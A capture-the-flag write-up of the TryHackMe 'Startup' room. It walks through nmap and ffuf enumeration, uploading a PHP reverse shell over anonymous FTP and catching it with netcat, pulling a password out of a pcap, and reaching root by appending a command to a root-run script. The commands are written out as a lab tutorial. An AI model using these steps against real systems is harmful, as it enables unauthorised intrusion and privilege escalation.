Startup
This room on TryHackMe.com is one of the old rooms and pretty much straight forward. It involves basic enumeration, gaining a foothold and privilege escalation. Though the privesc part is a bit confusing but still something that is interesting.
So, let's begin!
Enumeration
The first thing that we can do is run an nmap
scan against the IP address of the deployed machine and check the open ports.
─[tester@parrot-virtual]─[~/Downloads/startup]
└──╼ $nmap -A 10.10.30.244
Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-07 02:13 IST
Nmap scan report for 10.10.30.244
Host is up (0.18s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxrwxrwx 2 65534 65534 4096 Nov 12 04:53 ftp [NSE: writeable]
| -rw-r--r-- 1 0 0 251631 Nov 12 04:02 important.jpg
|_-rw-r--r-- 1 0 0 208 Nov 12 04:53 notice.txt
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.8.91.135
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 4
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b9:a6:0b:84:1d:22:01:a4:01:30:48:43:61:2b:ab:94 (RSA)
| 256 ec:13:25:8c:18:20:36:e6:ce:91:0e:16:26:eb:a2:be (ECDSA)
|_ 256 a2:ff:2a:72:81:aa:a2:9f:55:a4:dc:92:23:e6:b4:3f (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Maintenance
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 52.28 seconds
From the nmap result, we can see that three important ports are open 21 (FTP), 22 (SSH) and 80 (HTTP). The juiciest of all the three appears to be FTP as anonymous login is enabled on the same. So, we can go ahead and try to access the files present over there.
┌─[tester@parrot-virtual]─[~/Downloads/startup]
└──╼ $ftp 10.10.30.244
Connected to 10.10.30.244.
220 (vsFTPd 3.0.3)
Name (10.10.30.244:tester): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 3 65534 65534 4096 Nov 12 04:53 .
drwxr-xr-x 3 65534 65534 4096 Nov 12 04:53 ..
-rw-r--r-- 1 0 0 5 Nov 12 04:53 .test.log
drwxrwxrwx 2 65534 65534 4096 Nov 12 04:53 ftp
-rw-r--r-- 1 0 0 251631 Nov 12 04:02 important.jpg
-rw-r--r-- 1 0 0 208 Nov 12 04:53 notice.txt
226 Directory send OK.
In the FTP server, we can see there are a few files named important.jpg
and notice.txt
. Along with that there is a folder named ftp
as well. We can download all these files on our machine using the mget
command.
ftp> mget notice.txt
mget notice.txt? y
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for notice.txt (208 bytes).
226 Transfer complete.
208 bytes received in 0.00 secs (384.7065 kB/s)
Once, downloaded on our local machine we can check these files out. Along with downloading these files we can also check out the content of the ftp
folder but it turns out to be empty.
ftp> cd ftp
250 Directory successfully changed.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxrwx 2 65534 65534 4096 Nov 12 04:53 .
drwxr-xr-x 3 65534 65534 4096 Nov 12 04:53 ..
The notice.txt
file appears to be kind of a note but it is does not prove to be much useful.
┌─[tester@parrot-virtual]─[~/Downloads/startup]
└──╼ $cat notice.txt
Whoever is leaving these damn Among Us memes in this share, it IS NOT FUNNY. People downloading documents from our website will think we are a joke! Now I dont know who it is, but Maya is looking pretty sus.
Moving on to the image, when trying to open it gives an error that the file is not a JPEG file.

So, we can open the file in hexeditor
and its magic value to determine its original file type.
┌─[tester@parrot-virtual]─[~/Downloads/startup]
└──╼ $hexeditor important.jpg

Here, we can see that the first few values correspond to .PNG
suggesting this is a PNG file. Knowing the original file type we can rename the file and then again try to open it.
┌─[tester@parrot-virtual]─[~/Downloads/startup]
└──╼ $mv important.jpg important.png
By changing the file extension, we can not open the image which appears to be a meme based on the game 'Among Us'.

Considering we have a PNG image, we can check it for steganography using the tool zsteg
.
┌─[✗]─[tester@parrot-virtual]─[~/Downloads/startup]
└──╼ $zsteg important.png
imagedata .. file: SVR2 pure executable (USS/370)
b4,rgb,lsb,xy .. text: "Uwwwwwwwwwwww"
But even here we can't find any useful information. We have checked everything that we got from the FTP server but nothing appeared to be useful. So, we can move on to port 80 and check if we can find something useful over there.

When we access the IP address through our browser we get this page stating the website is not ready yet. Also, the source code of the page does not provide any useful information. The next thing that we can do is try to enumerate the directories on the web app. We can use ffuf
or any other such tool to fuzz the directories.
┌─[tester@parrot-virtual]─[~/Downloads/startup]
└──╼ $ffuf -u http://10.10.50.63/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.0.2
________________________________________________
:: Method : GET
:: URL : http://10.10.50.63/FUZZ
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403
________________________________________________
# directory-list-2.3-medium.txt [Status: 200, Size: 808, Words: 136, Lines: 21]
# on atleast 2 different hosts [Status: 200, Size: 808, Words: 136, Lines: 21]
# This work is licensed under the Creative Commons [Status: 200, Size: 808, Words: 136, Lines: 21]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/ [Status: 200, Size: 808, Words: 136, Lines: 21]
# Priority ordered case sensative list, where entries were found [Status: 200, Size: 808, Words: 136, Lines: 21]
# Copyright 2007 James Fisher [Status: 200, Size: 808, Words: 136, Lines: 21]
# Suite 300, San Francisco, California, 94105, USA. [Status: 200, Size: 808, Words: 136, Lines: 21]
# or send a letter to Creative Commons, 171 Second Street, [Status: 200, Size: 808, Words: 136, Lines: 21]
# Attribution-Share Alike 3.0 License. To view a copy of this [Status: 200, Size: 808, Words: 136, Lines: 21]
files [Status: 301, Size: 310, Words: 20, Lines: 10]
Here, we get a directory named files
that we can try to access.

It appears to be a bit surprizing that these are exactly the same files that we found on the FTP server. This gives us a hint towards uploading a reverse shell through FTP and then opening it through the browser. The next thing that we must do is: check if we can upload files on the FTP server.
To do so, the first thing that we must do is create a test file:
┌─[tester@parrot-virtual]─[~/Downloads/startup]
└──╼ $touch test_file
Now, after accessing the FTP server we can try to upload this test file.
┌─[tester@parrot-virtual]─[~/Downloads/startup]
└──╼ $ftp 10.10.50.63
Connected to 10.10.50.63.
220 (vsFTPd 3.0.3)
Name (10.10.50.63:tester): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 3 65534 65534 4096 Nov 12 04:53 .
drwxr-xr-x 3 65534 65534 4096 Nov 12 04:53 ..
-rw-r--r-- 1 0 0 5 Nov 12 04:53 .test.log
drwxrwxrwx 2 65534 65534 4096 Nov 12 04:53 ftp
-rw-r--r-- 1 0 0 251631 Nov 12 04:02 important.jpg
-rw-r--r-- 1 0 0 208 Nov 12 04:53 notice.txt
226 Directory send OK.
ftp> put test_file
local: test_file remote: test_file
200 PORT command successful. Consider using PASV.
553 Could not create file.
Unfortunately, we can't upload it in the main directory but we can see that we have write permissions for the ftp
folder. So, we can try to upload the file over there and then check on the browser if it appears there as well.
ftp> cd ftp
250 Directory successfully changed.
ftp> put test_file
local: test_file remote: test_file
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
ftp>
The file gets uploaded successfully, now we need to check if it can be access from the browser as well.

And, it does appear in the ftp folder. So, now we can upload a PHP reverse shell through the FTP server, open that file from the browser and get a reverse shell on our local machine.
Initial Foothold
For this purpose we can use the Pentest Monkey's Reverse Shell Payload, modify it with our local machine's IP address and then upload it on the FTP server.
ftp> put shell.php
local: shell.php remote: shell.php
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
5493 bytes sent in 0.00 secs (7.7379 MB/s)
To get a reverse shell, we need to start a listener for which we can use the command nc -nvlp 1234
.
Once the listener is started we can open the link for our payload in the ftp folder and wait for a reverse shell to start on our listener.
┌─[tester@parrot-virtual]─[~/Downloads/startup]
└──╼ $nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.8.91.135] from (UNKNOWN) [10.10.50.63] 43438
Linux startup 4.4.0-190-generic #220-Ubuntu SMP Fri Aug 28 23:02:15 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
00:40:28 up 57 min, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
To get a stable shell we can use a python one-liner:
python -c 'import pty; pty.spawn("/bin/bash")'
The first question asks about a secret ingredient which can be found in a file in the root
directory itself:
www-data@startup:/$ cat recipe.txt
cat recipe.txt
Someone asked what our main ingredient to our spice soup is today. I figured I can't keep it a secret forever and told him it was ****.
Privilege Escalation From www-data
Currently, we are logged in as www-data
and hence can't access the user flag. We can check some commands such as sudo -l
, cronjob
and a few other things to escalate our privileges.
www-data@startup:/$ sudo -l
sudo -l
sudo: unable to resolve host startup
[sudo] password for www-data:
sudo -l
does not turn out to be helpful as we don't know the password for www-data. We can also check the /etc/crontab
file to get an idea if there are any cronjobs running on the machine.
www-data@startup:/$ cat /etc/crontab
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
But even here we can't find any useful information. The next thing that we can check are the files that have SUID permission but even over there we won't find anything useful. Another thing that we can do is try to find the files to which we have access.
www-data@startup:/$ find / -user www-data 2> /dev/null
find / -user www-data 2> /dev/null
/recipe.txt
/dev/pts/0
/var/cache/apache2/mod_cache_disk
/run/lock/apache2
/incidents
/incidents/suspicious.pcapng
Here, we can see that there is a directory named incidents
in the root directory which contains a PCAPNG file named as suspicious.pcapng
. We can download this file on our machine and try to analyze the captured traffic using wireshark. But to do so, we need first start a python server on the target machine in the directory from where we want to download the file:
www-data@startup:/$ cd /incidents
cd /incidents
www-data@startup:/incidents$ python3 -m http.server 8080
python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 ...
Now that our python server is running, we can download the file on our local machine using the wget
command.
└──╼ $wget http://10.10.5.99:8080/suspicious.pcapng
--2021-01-07 18:27:51-- http://10.10.5.99:8080/suspicious.pcapng
Connecting to 10.10.5.99:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 31224 (30K) [application/octet-stream]
Saving to: ‘suspicious.pcapng’
suspicious.pcapng 100%[==========>] 30.49K 40.2KB/s in 0.8s
2021-01-07 18:27:52 (40.2 KB/s) - ‘suspicious.pcapng’ saved [31224/31224]
Now that we have the network capture file, we can analyze it and look for some hints in the same.
We can look for packets in which there is some text visible which usually are TCP protocol packet containing the Data
part in them. Going through the flow of the packets we can quickly determine from the content of the packets that someone tried to gain a reverse shell on the machine and they were successful in doing so. Moving on further we can see that the attacker tried to run the command sudo -l
and when asked for the password he entered some value.

Apparently, when the password was entered for user www-data it didn't work but we can try to use the same password for user lennie.
www-data@startup:/$ su lennie
su lennie
Password: *******************
lennie@startup:/$
And there we get escalated to the user lennie. Now, we can read the user flag.
lennie@startup:/$ cd ~
cd ~
lennie@startup:~$ cat user.txt
Privilege Escalation to Root
Our next task is to gain the root privilege. Again we can check the commands that user lennie can run as sudoer using the command sudo -l
.
lennie@startup:~$ sudo -l
sudo -l
sudo: unable to resolve host startup
[sudo] password for lennie:
Sorry, user lennie may not run sudo on startup.
But it appears that lennie can't run any commands with sudo privilege. So, we can look around in lennie's directory to see if we can find something useful.
lennie@startup:~$ ls -la
ls -la
total 20
drwx------ 4 lennie lennie 4096 Nov 12 04:53 .
drwxr-xr-x 3 root root 4096 Nov 12 04:53 ..
drwxr-xr-x 2 lennie lennie 4096 Nov 12 04:53 Documents
drwxr-xr-x 2 root root 4096 Nov 12 04:54 scripts
-rw-r--r-- 1 lennie lennie 38 Nov 12 04:53 user.txt
We can see there are two directories which are Documents
which is owned by lennie and scripts
which is owned by root. We can check both these but in scripts
we can find a bash script to which we have execute rights.
lennie@startup:~/scripts$ ls -la
ls -la
total 16
drwxr-xr-x 2 root root 4096 Nov 12 04:54 .
drwx------ 4 lennie lennie 4096 Nov 12 04:53 ..
-rwxr-xr-x 1 root root 77 Nov 12 04:53 planner.sh
-rw-r--r-- 1 root root 1 Jan 7 13:33 startup_list.txt
We can analyze the tasks performed by planner.sh
.
lennie@startup:~/scripts$ cat planner.sh
cat planner.sh
#!/bin/bash
echo $LIST > /home/lennie/scripts/startup_list.txt
/etc/print.sh
It is pretty clear that the script prints out the content of variable LIST
in the startup_list.txt file. So, we can try to set the LIST variable to the content of root flag and as this file gets executed by root we might be able to get root flag.
lennie@startup:~/scripts$ LIST=$(cat /root/root.txt)
LIST=$(cat /root/root.txt)
cat: /root/root.txt: Permission denied
But this does not work, obviously as we don't have access to the /root directory. But we can see that this script is executing another script /etc/print.sh
. We can go and check if this script can help us in some way.
lennie@startup:~/scripts$ cat /etc/print.sh
cat /etc/print.sh
#!/bin/bash
echo "Done!"
lennie@startup:~/scripts$ ls -la /etc/print.sh
ls -la /etc/print.sh
-rwx------ 1 lennie lennie 25 Nov 12 04:53 /etc/print.sh
This script does not do anything special but just prints out the "Done!". Even then there is one interesting thing about this file and that is lennie is the owner of this file. So, we can modify this file and when the planner.sh would get executed by root the print.sh file would also get executed with root's privileges.
lennie@startup:~/scripts$ echo 'cat /root/root.txt > /tmp/abc' >> /etc/print.sh
This will create a file named abc
in the /tmp directory and store the content of root flag in the same. We need to wait for some time when the script gets executed automatically by the system and once it is executed we will get our root flag.
NOTE
We checked the cronjobs and did not find anything over there but I had guessed that this script was being executed by the system at a fixed interval. But a more technical justification could be found by downloading the PSPY64 tool on the target machine and then checking all the processes running in the background.

That is it. We got both the user and root flag!
Reference Links
Last updated
Was this helpful?